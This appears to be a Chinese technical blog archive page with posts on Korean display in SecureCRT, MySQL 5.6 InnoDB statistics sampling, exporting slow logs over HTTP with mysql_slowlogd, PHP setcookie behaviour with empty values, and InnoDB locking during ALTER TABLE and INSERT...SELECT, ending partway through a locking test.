如何在SecureCRT中显示韩语

如何在SecureCRT中显示韩语

其实这个问题,几年前我就应该已经遇到过了,当时在维护一个韩国论坛(乐韩)的时候,印象中也没做过什么特殊的设置, secureCRT 中 vim xxx.php 直接就能显示韩语字符。
这两天又在弄另外一个韩语论坛,却发现韩语显示出来都是小方块。。。真是意外
如何在SecureCRT中显示韩语

研究了半天,终于发现了,一定要做到三码合一(secureCRT的字体,secureCRT的字符编码,LANG环境变量),才能正确显示韩语字符。

Step1) 下载几个韩语字体文件, 百度上找找还是挺多的,但是很难找到美观的字体,我找了几个都丑得一B。把它们复制到windows的fonts目录中。
如何在SecureCRT中显示韩语

Step2) secureCRT连接服务器之后,选项->会话选项->终端->外观->字体->标准字体, 选择一个韩语字体。字符编码设置为UTF-8
如何在SecureCRT中显示韩语

Step3) 修改 /etc/sysconfig/i18n
LANG=”ko_KR.UTF-8″
然后 source /etc/sysconfig/i18n
确认设置成功:
[root@MyVPS html]# env |grep -i lang
LANG=ko_KR.UTF-8

如何在SecureCRT中显示韩语

其它比如越南语,日语什么的,大同小异了。 再说几个常用的LANG:
Chinese, Simplified zh_CN.UTF-8
Chinese, Traditional zh_TW.UTF-8
English en_US.UTF-8
French fr_FR.UTF-8
German de_DE.UTF-8
Italian it_IT.UTF-8
Japanese ja_JP.UTF-8
Korean ko_KR.UTF-8
Portuguese, Brazilian pt_BR.UTF-8
Russian ru_RU.UTF-8
Spanish es_ES.UTF-8

更多的locale可以在 /usr/share/locale 目录中看到。

另外比较好奇的是,在没有安装韩语字体的时候,在记事本中却可以正常地显示韩语字符…

Posted in linux | Tagged , | Leave a comment

Mysql5.6 innodb如何 统计table statistics

Mysql innodb如何 统计table statistics

Table statistics 包含两个方面:
1) table stat 比如表内一共有多少条记录(n_rows)。
此类信息保存在mysql.innodb_table_stats表中。
2) index stat 比如index中包含多少个page, 多少个leaf page,共有多少条完全不同的索引
此信息保存在mysql.innodb_index_stats表中。

在innodb中,一切都是基于index的,table stat 中n_rows的计算也是基于index的。
下面就分析一下innodb是如何对index进行统计的。

哎,还是先简单介绍一下index的结构—B+ tree
B+tree的结构如下图:
B+tree
这张图是从 Wikipedia copy过来的,不必太执着于它。

Index在硬盘文件中的最基本保存单位是page(默认16K一页),这些page在一起组成了B+ tree。 表中的每一个index,对应一个B+tree。
根据page的类型,可以分为三类:
1) Root page 最上面的一个page, 对B+ tree的访问总是从它开始的。
2) leaf page 最下层的page. 储存了真正的索引数据。如果是主键的话,还储存了其它全部的字段。
3) non-leaf page 界于Root page与leaf page之间的page.

另外还有一个level的概念:
Leaf page 的level 为0, 每往上走一层,level就+1。
Root 的level最大,表示这个tree 的高度。

Leaf page 的简单结构:
leaf page

此page中的记录,从Infimum开始,到Supremum结束,每个记录都有一条指针指向下一条记录,组成了一条单向升序的链表。 Infimum与Supremum为system记录,表示page中记录的开始和结束。它们之间的记录为User记录,保存了key(索引的值)与value(如果为主键索引,那么value就是其它的全部字段的值;如果是非主键索引,value就是主键的值(Primary Key Value , PKV))。

Non-leaf page的简单结构:
non-leaf page

与leaf page的结构相似,只不过在每条记录中,它保存的key的意思是:child page中最小的索引值。 然后也保存了child 的page num(相当于一个指向child page的指针)。每一条记录,只有一个child page。

再来看一下level的概念:
level

同一level中的page由二条指针组成了双向的链表, 同时有了升序和降序。

最后从整体上把握一下:

CREATE TABLE t (
  i INT NOT NULL,
  s CHAR(10) NOT NULL,
  PRIMARY KEY(i)
) ENGINE=InnoDB;
 
INSERT INTO t (i, s)
  VALUES (0, "A"), (1, "B"), (2, "C"), (3, “D”),(4,”E”),(5,”F”),(6,”G”),(7,”H”);

B+tree in mysql innodb

如果需要对index进行统计,最简单的办法就是从头到尾扫描此index对应的B+tree全部的leaf page中的全部记录,看一下有多少条不相同的索引。优点是非常精确, 缺点是如果page相当多的话,扫描的速度会相当慢。

Mysql的做法是采样,从全部leaf page中取出20个page 进行分析,

mysql> SELECT @@global.innodb_stats_persistent_sample_pages; 
+-----------------------------------------------+
| @@global.innodb_stats_persistent_sample_pages |
+-----------------------------------------------+
|                                            20 |
+-----------------------------------------------+
1 ROW IN SET (0.00 sec)

当然这个变量是可以配置的, 它的值越大,统计的结果越精确,统计的速度也就越慢。把它记为A。

还是先用简单的主键索引(clustered index )来分析吧。。。越来越乱了。
之所以说主键索引比较简单,是因为在任意一个level中,全部page中的全部记录的key都是不相同的。

从Root page开始,向下面的level遍历它的全部child page,直到遇到这样的一个level:
此level中至少包含A * 10条不相同的key。
把此level标记为LA。
然后从此level的全部记录中随机选出A条记录。
顺着这A条记录向下,找到A个leaf page。 分析每个leaf page中含有多少个不同的key。对于主键索引来说,leaf page中有多少条记录,就有多少个不同的key。

分析完这A个leaf page, 每个page中不同的key的数量保存到 P1, P2, P3, P4 … PA中。
那么平均值 N_DIFF_AVG_LEAF 就是 (P1 + P2 + … + PA) / A。
再假设全部leaf page的数量为N,
那么全部leaf page中不同的key的数量为 N * N_DIFF_AVG_LEAF。
对于主键索引,这个值刚好就是全部leaf page中的记录数,也就是此表中的记录数n_rows。

mysql> SELECT * FROM innodb_index_stats WHERE TABLE_NAME='xxxx2' AND index_name='PRIMARY';
+---------------+------------+------------+---------------------+--------------+------------+-------------+-----------------------------------+
| database_name | TABLE_NAME | index_name | last_update         | stat_name    | stat_value | sample_size | stat_description                  |
+---------------+------------+------------+---------------------+--------------+------------+-------------+-----------------------------------+
| kaixin        | xxxx2      | PRIMARY    | 2013-05-08 15:55:04 | n_diff_pfx01 |       5207 |          20 | id                                |
| kaixin        | xxxx2      | PRIMARY    | 2013-05-08 15:55:04 | n_leaf_pages |        277 |        NULL | NUMBER OF leaf pages IN the INDEX |
| kaixin        | xxxx2      | PRIMARY    | 2013-05-08 15:55:04 | SIZE         |        353 |        NULL | NUMBER OF pages IN the INDEX      |
+---------------+------------+------------+---------------------+--------------+------------+-------------+-----------------------------------+
3 ROWS IN SET (0.00 sec)
 
mysql> SELECT * FROM innodb_table_stats WHERE TABLE_NAME='xxxx2';
+---------------+------------+---------------------+--------+----------------------+--------------------------+
| database_name | TABLE_NAME | last_update         | n_rows | clustered_index_size | sum_of_other_index_sizes |
+---------------+------------+---------------------+--------+----------------------+--------------------------+
| kaixin        | xxxx2      | 2013-05-08 15:55:04 |   5207 |                  353 |                      177 |
+---------------+------------+---------------------+--------+----------------------+--------------------------+
 
由于只是一个随机的采样,且样本只有20个page,  准确度确实难以保证,但还是有一定的参考价值的。
 
mysql> SELECT COUNT(*) FROM kaixin.xxxx2;
+----------+
| COUNT(*) |
+----------+
|     5432 |
+----------+
1 ROW IN SET (0.00 sec)

最后来看比较复杂一点的secondary index。
假设表结构为

CREATE TABLE t (
  i INT NOT NULL,
s CHAR(10) NOT NULL,
a INT NOT NULL,
b INT NOT NULL,
c INT NOT NULL,
PRIMARY KEY(i),
KEY (a,b,c)
) ENGINE=InnoDB;

在a b c 三个字段上定义了一个索引,不唯一,允许重复的值出现。
反映到此索引的B+tree中, 某一条记录可能与它相邻记录的key值是相同的, 甚至某一个page中,key值都是相同的。

与Non-leaf page和level相关的一个概念:boring record:
如果non-leaf page中的一条记录R的key与它右侧(可跨越page,但要保证在同一个level上面)的记录的key值相同,那么认为此记录R为boring record。

Boring record的特性:
在Boring record的全部child page,直至leaf page中,key值都是相同的,都与boring record的key值相同。
所以这种boring record就没有分析的必要, 因为key值不同的记录数肯定为1。

流程开始:
仍然是从Root page开始,向下面的level遍历它的全部child page,直到遇到这样的一个level:
此level中至少包含A * 10条不相同的key。
把此level标记为LA。

先定义一个数组boundaries[]
对于 level LA中具有相同key的记录,只把最后一个记录保存到数组中。遍历此level之后,boundaries[]就包含了全部的不同的key的记录,总数量记为n_diff_for_this_prefix。
#如果 A > n_diff_for_this_prefix, 则 A=n_diff_for_this_prefix。
然后把它们等分成A组,每组数量为 n_diff_for_this_prefix除以A。
然后从每一组中随机选出一个记录, 共选出A条记录。

顺着这A条记录向下,找到A个leaf page。在这个向下的过程中, 遇到boring record就跳过。然后分析每个leaf page中含有多少个不同的key。

分析完这A个leaf page, 每个page中不同的key的数量保存到 P1, P2, P3, P4 … PA中。
那么平均值 N_DIFF_AVG_LEAF 就是 (P1 + P2 + … + PA) / A。
Level LA中全部记录总数为TOTAL_LA,
Level LA中不同记录的数量为N_DIFF_LA
再假设全部leaf page的数量为N,
那么全部leaf page中不同的key的数量为 (N_DIFF_LA / TOTAL_LA ) *N * N_DIFF_AVG_LEAF。

其实对于index(a,b,c) ,需要执行4次上面的分析过程。第一次是a, 第二次是(a,b),第三次是(a,b,c), 第四次是(a,b,c,i)。

mysql> SELECT * FROM innodb_index_stats WHERE TABLE_NAME='t' ;
+---------------+------------+------------+---------------------+--------------+------------+-------------+-----------------------------------+
| database_name | TABLE_NAME | index_name | last_update         | stat_name    | stat_value | sample_size | stat_description                  |
+---------------+------------+------------+---------------------+--------------+------------+-------------+-----------------------------------+
| mysql         | t          | PRIMARY    | 2013-05-08 16:23:05 | n_diff_pfx01 |          0 |           1 | i                                 |
| mysql         | t          | PRIMARY    | 2013-05-08 16:23:05 | n_leaf_pages |          1 |        NULL | NUMBER OF leaf pages IN the INDEX |
| mysql         | t          | PRIMARY    | 2013-05-08 16:23:05 | SIZE         |          1 |        NULL | NUMBER OF pages IN the INDEX      |
| mysql         | t          | a          | 2013-05-08 16:23:05 | n_diff_pfx01 |          0 |           1 | a                                 |
| mysql         | t          | a          | 2013-05-08 16:23:05 | n_diff_pfx02 |          0 |           1 | a,b                               |
| mysql         | t          | a          | 2013-05-08 16:23:05 | n_diff_pfx03 |          0 |           1 | a,b,c                             |
| mysql         | t          | a          | 2013-05-08 16:23:05 | n_diff_pfx04 |          0 |           1 | a,b,c,i                           |
| mysql         | t          | a          | 2013-05-08 16:23:05 | n_leaf_pages |          1 |        NULL | NUMBER OF leaf pages IN the INDEX |
| mysql         | t          | a          | 2013-05-08 16:23:05 | SIZE         |          1 |        NULL | NUMBER OF pages IN the INDEX      |
+---------------+------------+------------+---------------------+--------------+------------+-------------+-----------------------------------+
9 ROWS IN SET (0.00 sec)

还有一些优化和细节, 请看 代码 。

参考:

http://blog.jcole.us/2013/01/10/btree-index-structures-in-innodb/

http://blog.jcole.us/2013/01/10/the-physical-structure-of-records-in-innodb/

/mysql-5.6.10/storage/innobase/dict dict0stats.cc
/mysql-5.6.10/storage/innobase/include/dict0mem.h

Posted in mysql | Tagged , | Leave a comment

mysql_slowlogd – 通过http方式获取mysql的slow log

mysql_slowlogd – 通过http方式获取mysql的slow log

mysql slow log 对于dba的重要意义就不提了, 今天介绍一种方法把slow log通过http的形式导出到其它服务器中。

下载:

https://github.com/groupon/mysql_slowlogd

安装很简单, ./configure; make; make install; 就完了。
在centos中,此程序会自动安装到/usr/local/ 中。

然后运行daemon程序:
[root@www data]# mysql_slowlogd -f /home//mysql/data/www-slow.log
mysql_slowlogd: error while loading shared libraries: libmicrohttpd.so.10: cannot open shared object file: No such file or directory
出错,说找不到 libmicrohttpd.so.10
[root@www data]#
[root@www data]# locate libmicrohttpd.so.10
/usr/local/lib/libmicrohttpd.so.10
/usr/local/lib/libmicrohttpd.so.10.16.1
[root@www data]# ll /usr/local/lib/libmicrohttpd.so.10
lrwxrwxrwx 1 root root 24 May 3 16:05 /usr/local/lib/libmicrohttpd.so.10 -> libmicrohttpd.so.10.16.1

无奈,只好把 /usr/local/lib/ 添加到 /etc/ld.so.conf 中,然后ldconfig。

[root@www data]# mysql_slowlogd -f /home//mysql/data/www-slow.log
它就这样自动进入后台了…吓我一跳。
[root@www data]#
[root@www data]# ps aux|grep -i mysql_slowlogd
root 29834 0.0 0.0 12428 548 ? Ssl 16:18 0:00 mysql_slowlogd -f /home//mysql/data/www-slow.log
root 29840 0.0 0.0 4328 788 pts/1 S+ 16:18 0:00 grep -i mysql_slowlogd
监听在0.0.0.0的3307端口:
[root@www data]# netstat -lpn|grep -i 3307
tcp 0 0 0.0.0.0:3307 0.0.0.0:* LISTEN 29834/mysql_slowlog

在另外一台服务器上面操作:

[root@qsh-1071 home2]# curl http://xxx.xxx.xxx.xxx:3307/slow
# USER@Host: root[root] @ localhost []
# Query_time: 2.599789  Lock_time: 0.000000 Rows_sent: 0  Rows_examined: 0
SET TIMESTAMP=1367568496;
purge BINARY logs TO 'mysql-bin.000180';
 
 
# TIME: 130503 16:24:10
# USER@Host: root[root] @ localhost []
# Query_time: 3.023931  Lock_time: 0.000000 Rows_sent: 1  Rows_examined: 0
SET TIMESTAMP=1367569450;
SELECT sleep(3);

http连接会一直保持下去,只要mysql slow log中有了新的内容,curl就会自动获取到。
使用wget 的话,需要这样用才能把log显示出来:

[root@qsh-1071 home2]# wget -q -O - http://xxx.xxx.xxx.xxx:3307/slow
# USER@Host: root[root] @ localhost []
# Query_time: 3.023931  Lock_time: 0.000000 Rows_sent: 1  Rows_examined: 0
SET TIMESTAMP=1367569450;
SELECT sleep(3);

建议用iptables限制对 3307端口的访问。

如果想换个端口…只能去修改源码mysql_slowlogd.c

#define PORT 3307

这种持续导出slow log的形式,最适合与percona-playback配合起来, 预热另外一台mysqld的buffer pool,
详见下面的链接。

参考:

http://www.mysqlperformanceblog.com/2013/04/16/is-your-mysql-buffer-pool-warm-make-it-sweat/

Posted in mysql | Tagged | Leave a comment

List of animal names representing file format in mysql

/mysql-5.6.10/storage/innobase/trx/trx0sys.cc

static const char*      file_format_name_map[] = {
        "Antelope",
        "Barracuda",
        "Cheetah",
        "Dragon",
        "Elk",
        "Fox",
        "Gazelle",
        "Hornet",
        "Impala",
        "Jaguar",
        "Kangaroo",
        "Leopard",
        "Moose",
        "Nautilus",
        "Ocelot",
        "Porpoise",
        "Quail",
        "Rabbit",
        "Shark",
        "Tiger",
        "Urchin",
        "Viper",
        "Whale",
        "Xenops",
        "Yak",
        "Zebra"
};
 
/** The number of elements in the file format name array. */
static const ulint      FILE_FORMAT_NAME_N
        = sizeof(file_format_name_map) / sizeof(file_format_name_map[0]);

0-25 共26种file format, 每一种都表示一种动物, 首字母竟然是按照A-Z排列的…
当然目前只实现了 Antelope 和 Barracuda.
比较好奇的是 Xenops, 求翻译…

Posted in mysql | Leave a comment

php setcookie时value为null或空字符串,会删除此cookie

php setcookie时value为null或空字符串,会删除此cookie

长久以来,在php中删除cookie的时候,都是使用
bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )

$value 随便写, $expire设置为一个已经过去的时间即可。

官方文档中也是这样写的:

http://www.php.net/manual/en/function.setcookie.php

Example #2 setcookie() delete example
When deleting a cookie you should assure that the expiration date is in the past, to trigger the removal mechanism in your browser. Examples follow how to delete cookies sent in previous example:
<?php
// set the expiration date to one hour ago
setcookie ("TestCookie", "", time() - 3600);
setcookie ("TestCookie", "", time() - 3600, "/~rasmus/", "example.com", 1);
?>

今天遇到一件奇怪的事, 在setcookie的时候,传了一个空字符串给$value,结果竟然是此cookie被删除了…

$name = "post_url";
$value =  "";
setcookie($name, $value,  time()+60*60*3, "/" );

delete_cookie

相当不解。

去翻php 5.4.13 的源码:

ext/standard/head.c

173 PHP_FUNCTION(setcookie)
174 {
175     char *name, *value = NULL, *path = NULL, *domain = NULL;
176     long expires = 0;
177     zend_bool secure = 0, httponly = 0;
178     int name_len, value_len = 0, path_len = 0, domain_len = 0;
179 
180     if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|slssbb", &name,
181                               &name_len, &value, &value_len, &expires, &path,
182                               &path_len, &domain, &domain_len, &secure, &httponly) == FAILURE) {
183         return;
184     }
185 
186     if (php_setcookie(name, name_len, value, value_len, expires, path, path_len, domain, domain_len, secure, 1, httponly TSRMLS_CC) == SUCCESS) {
187         RETVAL_TRUE;
188     } else {
189         RETVAL_FALSE;
190     }   
191 }       
 
 
 
 76 PHPAPI int php_setcookie(char *name, int name_len, char *value, int value_len, time_t expires, char *path, int path_len, char *domain, int domain_len, int secure, int url_encode, int httponly TSRMLS_DC)
 77 {
 78     char *cookie, *encoded_value = NULL;
 79     int len=sizeof("Set-Cookie: ");
 80     char *dt;
 81     sapi_header_line ctr = {0};
 82     int result;
 83 
 84     if (name && strpbrk(name, "=,; \t\r\n\013\014") != NULL) {   /* man isspace for \013 and \014 */
 85         zend_error( E_WARNING, "Cookie names cannot contain any of the following '=,; \\t\\r\\n\\013\\014'" );
 86         return FAILURE;
 87     }
 88 
 89     if (!url_encode && value && strpbrk(value, ",; \t\r\n\013\014") != NULL) { /* man isspace for \013 and \014 */
 90         zend_error( E_WARNING, "Cookie values cannot contain any of the following ',; \\t\\r\\n\\013\\014'" );
 91         return FAILURE;
 92     }
 93 
 94     len += name_len;
 95     if (value && url_encode) {
 96         int encoded_value_len;
 97 
 98         encoded_value = php_url_encode(value, value_len, &encoded_value_len);
 99         len += encoded_value_len;
100     } else if ( value ) {
101         encoded_value = estrdup(value);
102         len += value_len;
103     }
104     if (path) {
105         len += path_len;
106     }
107     if (domain) {
108         len += domain_len;
109     }
110 
111     cookie = emalloc(len + 100);
112 
113     if (value && value_len == 0) {
114         /* 
115          * MSIE doesn't delete a cookie when you set it to a null value
116          * so in order to force cookies to be deleted, even on MSIE, we
117          * pick an expiry date in the past
118          */
119         dt = php_format_date("D, d-M-Y H:i:s T", sizeof("D, d-M-Y H:i:s T")-1, 1, 0 TSRMLS_CC);
120         snprintf(cookie, len + 100, "Set-Cookie: %s=deleted; expires=%s", name, dt);
121         efree(dt);
122     } else {
123         snprintf(cookie, len + 100, "Set-Cookie: %s=%s", name, value ? encoded_value : "");
124         if (expires > 0) {
125             const char *p;
126             strlcat(cookie, "; expires=", len + 100);
127             dt = php_format_date("D, d-M-Y H:i:s T", sizeof("D, d-M-Y H:i:s T")-1, expires, 0 TSRMLS_CC);
128             /* check to make sure that the year does not exceed 4 digits in length */
129             p = zend_memrchr(dt, '-', strlen(dt));
130             if (!p || *(p + 5) != ' ') {

参数中的value在C语言中的类型是char * , 还有一个 value_len标明了它的长度。
如果value_len为0的话,就写了下面的cookie:
值为”deleted”, 过期时间为 Thu, 01-Jan-1970 08:00:01 CST 或者说是 Thu, 01-Jan-1970 00:00:01 GMT

看来setcookie($name, “”) 确实可以删除这个cookie了…
同理,在php中,strval(NULL) === “” , 所以 setcookie($name, NULL) 也就相当于 setcookie($name, “”),同样可以删除此cookie.

另外,比较好奇的是:
if (value && value_len == 0) {
}
else {
}

else 中包含了 value 为null 的情况, 这是一种什么样的情况呢?

Posted in 花荣在写PHP代码 | Tagged | Leave a comment

mysql5.6 alter table 与 Waiting for table metadata lock

mysql5.6 alter table 与 Waiting for table metadata lock

上周在搞INSERT INTO … SELECT测试的时候,偶然发现一个奇怪的情况:
在insert into t select * from share 运行时, 同时执行alter table t add index(play_count),
alter table语句会Waiting for table metadata lock, 直到insert into … select 语句结束。

mysql [localhost] {msandbox} (spc) > SHOW processlist;
+----+----------+-----------+------+---------+------+---------------------------------+-------------------------------------+
| Id | USER     | Host      | db   | Command | TIME | State                           | Info                                |
+----+----------+-----------+------+---------+------+---------------------------------+-------------------------------------+
|  5 | msandbox | localhost | spc  | Query   |    8 | Waiting FOR TABLE metadata LOCK | ALTER TABLE t ADD INDEX(play_count) |
|  8 | msandbox | localhost | spc  | Query   |    9 | Sending DATA                    | INSERT INTO t SELECT * FROM share   |
| 10 | msandbox | localhost | spc  | Query   |    0 | init                            | SHOW processlist                    |
+----+----------+-----------+------+---------+------+---------------------------------+-------------------------------------+

第一反应:
不是传说5.6支持online DDL么? 怎么还会Waiting for table metadata lock?
后来想想, online DDL应该是指在alter table进行的时候, 插入/修改/删除数据的sql语句不会Waiting for table metadata lock.

MySQL 5.6 enhances many other types OF ALTER TABLE operations TO avoid copying the TABLE. 
Another enhancement allows SELECT queries AND INSERT, UPDATE, AND DELETE (DML) statements TO proceed while the TABLE IS being altered. 
This combination OF features IS now known AS online DDL.

那么就让alter table wait去吧。

后来又发现另外一个神奇的事:

mysql [localhost] {msandbox} (spc) > SHOW processlist;
+----+----------+-----------+------+---------+------+---------------------------------+-------------------------------------+
| Id | USER     | Host      | db   | Command | TIME | State                           | Info                                |
+----+----------+-----------+------+---------+------+---------------------------------+-------------------------------------+
|  5 | msandbox | localhost | spc  | Query   |    1 | Waiting FOR TABLE metadata LOCK | ALTER TABLE t ADD INDEX(play_count) |
|  8 | msandbox | localhost | spc  | Query   |    3 | USER sleep                      | SELECT sleep(100) FROM t            |
| 10 | msandbox | localhost | spc  | Query   |    0 | init                            | SHOW processlist                    |
+----+----------+-----------+------+---------+------+---------------------------------+-------------------------------------+
3 ROWS IN SET (0.00 sec)

这就比较无语了…
好吧,有可能是在这个环境里面做测试太多….重启后再试一次:

mysql [localhost] {msandbox} (spc) > SHOW processlist;
+----+----------+-----------+------+---------+------+---------------------------------+-------------------------------------+
| Id | USER     | Host      | db   | Command | TIME | State                           | Info                                |
+----+----------+-----------+------+---------+------+---------------------------------+-------------------------------------+
|  1 | msandbox | localhost | spc  | Query   |  129 | USER sleep                      | SELECT sleep(100) FROM t            |
|  2 | msandbox | localhost | spc  | Query   |  102 | Waiting FOR TABLE metadata LOCK | ALTER TABLE t DROP INDEX play_count |
|  3 | msandbox | localhost | spc  | Query   |    0 | init                            | SHOW processlist                    |
+----+----------+-----------+------+---------+------+---------------------------------+-------------------------------------+
3 ROWS IN SET (0.00 sec)

这个sleep的时间。。。已经超过100秒了…

结论:
在准备alter table tbl 的时候,先观察一下,有没有正在运行的,且在短时间内无法结束的sql语句在操作tbl表。

Posted in mysql | Tagged , | Leave a comment

INSERT INTO … SELECT 的锁

INSERT INTO … SELECT 的锁

1) 起因

半个月之前,有个小伙子问我:INSERT INTO … SELECT * FROM tbl 会不会锁定表tbl,
我用屁股想了想, innodb做select操作,没必要锁表, 而且随手做了个测试:

在三个SESSION中依次快速运行下面的SQL语句:
SESSION 1:
###share_id为自增主键。
mysql [localhost] {msandbox} (spc) > INSERT INTO t SELECT * FROM share ORDER BY share_id ASC; 
Query OK, 135202 ROWS affected (15.30 sec)
Records: 135202  Duplicates: 0  Warnings: 0
 
SESSION 2:
mysql [localhost] {msandbox} (spc) > INSERT INTO share SET title='aaaaaaa'; UPDATE share SET play_count=play_count+1 ; 
Query OK, 1 ROW affected (0.06 sec)
 
Query OK, 135202 ROWS affected (29.75 sec)
ROWS matched: 135202  Changed: 135202  Warnings: 0
 
SESSION 3:
mysql [localhost] {msandbox} (information_schema) > SHOW processlist;
+----+----------+-----------+--------------------+---------+------+---------------------------+---------------------------------------------------------+
| Id | USER     | Host      | db                 | Command | TIME | State                     | Info                                                    |
+----+----------+-----------+--------------------+---------+------+---------------------------+---------------------------------------------------------+
|  1 | msandbox | localhost | spc                | Query   |    6 | Sending DATA              | INSERT INTO t SELECT * FROM share ORDER BY share_id ASC |
|  2 | msandbox | localhost | spc                | Query   |    6 | Searching ROWS FOR UPDATE | UPDATE share SET play_count=play_count+1                |
|  3 | msandbox | localhost | information_schema | Query   |    0 | init                      | SHOW processlist                                        |
+----+----------+-----------+--------------------+---------+------+---------------------------+---------------------------------------------------------+
3 ROWS IN SET (0.00 sec)

可以看到在insert into … select执行的过程中, 并发的insert into share 操作0.06秒执行完毕,
并发的update share 操作 在show processlist中的状态为 Searching rows for update, 也没有waiting for lock之类的状态出现,
于是就简单得出了结论: 无锁。

接下来的几天,有空我就会想想,在默认的REPEATABLE-READ ISOLATION LEVEL下, 不锁表的话,INSERT INTO … SELECT 是如何实现REPEATABLE READ的。
由于innodb有multi-versioning,那么确实是可以做到的,只是需要做更多的测试来证明这个推测。
然后就发现上次的测试大有问题, update语句为什么会执行近30秒?真有这么慢吗?insert也只测试了share_id自增(在表的尾部插入)的情况,
还有相当多的情况没有测试到,比如在表前,表中,表后插入记录, 删除已扫描过的记录,删除未扫描过的记录,更新已扫描过的记录,更新未扫描过的记录,等等。
甚至都没有用show engine innodb status看一下….

2) 结论

接下来,我想说,上面的推测全部都是错误的。
INSERT INTO … SELECT 会锁表, 至于具体的锁定情况,取决于SELECT 语句中的排序条件。
如果是按照主键排序 :
INSERT INTO … SELECT * FROM share ORDER BY share_id ASC/DESC, 则会逐步地锁定已经扫描过的记录。
之所以会这样锁定,是由于gap lock , next-key lock等等,不细说,有兴趣的就看看文章最后面的参考资料吧。

如果是非主键排序:
INSERT INTO … SELECT * FROM share ORDER BY title ASC/DESC, 一开始就会锁定整张表。

具体的情况,会在第四部分(测试)中讲到。

另外,这里也没有用到multi-versioning… 只是纯粹地加锁。

3) 历史问题

为什么在这种情况下需要锁定呢? 特别是在源表比较大的时候,这条语句执行几分钟也有可能,锁定源表之后,并发性能下降很多。
最初的原因竟然是replication,就是主从复制。

背景知识1)
binlog-format为statement的情况下,多条DML语句(如update,insert,delete)并发执行, 谁先执行完,谁就先把sql语句写入binlog.
背景知识2)
mysql5.1之前的replication,是基于statement的,也就是说,某一条sql语句,在主服务器上执行完,写入binlog,传输到从服务器,此语句再原封不动地在从服务器上执行一次。

有了这二条背景知识,请考虑下面的场景:
sql 1) INSERT INTO t SELECT * FROM share ORDER BY share_id ASC 不加锁,执行一段时间之后(此时share_id =1的记录已经写入t表),
sql 2) DELETE FROM share WHERE share_id=1 开始并发执行。
如果 sql 2) 比sql 1) 结束时间要早,那么sql 2) 先写入binlog, 然后sql 1)再写入binlog,
binlog传输到从服务器之后, sql 2)会先于sql 1)运行,删除了share_id=1的记录,
那么sql 1) 将无法找到share_id=1的记录。于是主从的数据不一致了。

所以,有必要加锁, 让sql 2) 暂时block, 保证sql 1) 先执行完。

可是,在mysql5.6.10中,已经支持 row based replication了, 为什么还是会有加锁的情况发生呢?
我就理解不了…算是bug么?

4) 测试

测试环境:

mysql [localhost] {msandbox} (spc) > SELECT @@GLOBAL.tx_isolation, @@tx_isolation;
+-----------------------+-----------------+
| @@GLOBAL.tx_isolation | @@tx_isolation  |
+-----------------------+-----------------+
| REPEATABLE-READ       | REPEATABLE-READ |
+-----------------------+-----------------+
mysql [localhost] {msandbox} (spc) >  SELECT @@GLOBAL.binlog_format, @@binlog_format;
+------------------------+-----------------+
| @@GLOBAL.binlog_format | @@binlog_format |
+------------------------+-----------------+
| ROW                    | ROW             |
+------------------------+-----------------+
mysql [localhost] {msandbox} (spc) > SELECT version();
+------------+
| version()  |
+------------+
| 5.6.10-log |
+------------+

测试一:按照主键升序, 观察被锁定的行数有何变化:

SESSION 1:
mysql [localhost] {msandbox} (spc) > INSERT INTO t SELECT * FROM share ORDER BY share_id ASC;
 
SESSION 2:
mysql [localhost] {msandbox} (spc) > pager grep "lock(s)"
PAGER SET TO 'grep "lock(s)"'
mysql [localhost] {msandbox} (spc) > SHOW engine innodb STATUS;
106 LOCK struct(s), heap SIZE 11584, 6494 ROW LOCK(s), undo log entries 6392
1 ROW IN SET (0.00 sec)
 
mysql [localhost] {msandbox} (spc) > SHOW engine innodb STATUS;
211 LOCK struct(s), heap SIZE 27968, 12951 ROW LOCK(s), undo log entries 12744
1 ROW IN SET (0.00 sec)
mysql [localhost] {msandbox} (spc) > SHOW engine innodb STATUS;
538 LOCK struct(s), heap SIZE 44352, 32367 ROW LOCK(s), undo log entries 31833
1 ROW IN SET (0.00 sec)
 
mysql [localhost] {msandbox} (spc) > SHOW engine innodb STATUS;
645 LOCK struct(s), heap SIZE 44352, 38341 ROW LOCK(s), undo log entries 37700
1 ROW IN SET (0.00 sec)
 
mysql [localhost] {msandbox} (spc) > SHOW engine innodb STATUS;
773 LOCK struct(s), heap SIZE 44352, 45537 ROW LOCK(s), undo log entries 44768
1 ROW IN SET (0.00 sec)
 
mysql [localhost] {msandbox} (spc) > SHOW engine innodb STATUS;
1508 LOCK struct(s), heap SIZE 93504, 88041 ROW LOCK(s), undo log entries 86537
1 ROW IN SET (0.00 sec)
 
mysql [localhost] {msandbox} (spc) > SHOW engine innodb STATUS;
2228 LOCK struct(s), heap SIZE 126272, 130618 ROW LOCK(s), undo log entries 128394
1 ROW IN SET (0.00 sec)

测试二:按照非主键排序,观察被锁定的行数有何变化:

SESSION 1:
mysql [localhost] {msandbox} (spc) > INSERT INTO t SELECT * FROM share ORDER BY title;
 
SESSION 2:
 
mysql [localhost] {msandbox} (spc) > SHOW engine innodb STATUS;
2344 LOCK struct(s), heap SIZE 142656, 137545 ROW LOCK(s), undo log entries 15078
1 ROW IN SET (0.00 sec)
 
mysql [localhost] {msandbox} (spc) > SHOW engine innodb STATUS;
2344 LOCK struct(s), heap SIZE 142656, 137545 ROW LOCK(s), undo log entries 22523
1 ROW IN SET (0.00 sec)
 
mysql [localhost] {msandbox} (spc) > SHOW engine innodb STATUS;
2344 LOCK struct(s), heap SIZE 142656, 137545 ROW LOCK(s), undo log entries 25341
1 ROW IN SET (0.00 sec)
 
mysql [localhost] {msandbox} (spc) > SHOW engine innodb STATUS;
2344 LOCK struct(s), heap SIZE 142656, 137545 ROW LOCK(s), undo log entries 28003
1 ROW IN SET (0.00 sec)

测试三: 按照主键升序,在表前,已扫描记录中,未扫描记录中,表后插入:

 
mysql [localhost] {msandbox} (spc) > SELECT MIN(share_id), MAX(share_id) FROM share;
+---------------+---------------+
| MIN(share_id) | MAX(share_id) |
+---------------+---------------+
|             1 |        138668 |
+---------------+---------------+
1 ROW IN SET (0.00 sec)
mysql [localhost] {msandbox} (spc) > DELETE FROM share WHERE share_id=1;
Query OK, 1 ROW affected (0.02 sec)
mysql [localhost] {msandbox} (spc) > DELETE FROM share WHERE share_id=100;
Query OK, 1 ROW affected (0.02 sec)
mysql [localhost] {msandbox} (spc) > DELETE FROM share WHERE share_id=138667;
Query OK, 1 ROW affected (0.01 sec)
 
然后开始执行INSERT INTO t SELECT * FROM share ORDER BY share_id ASC;
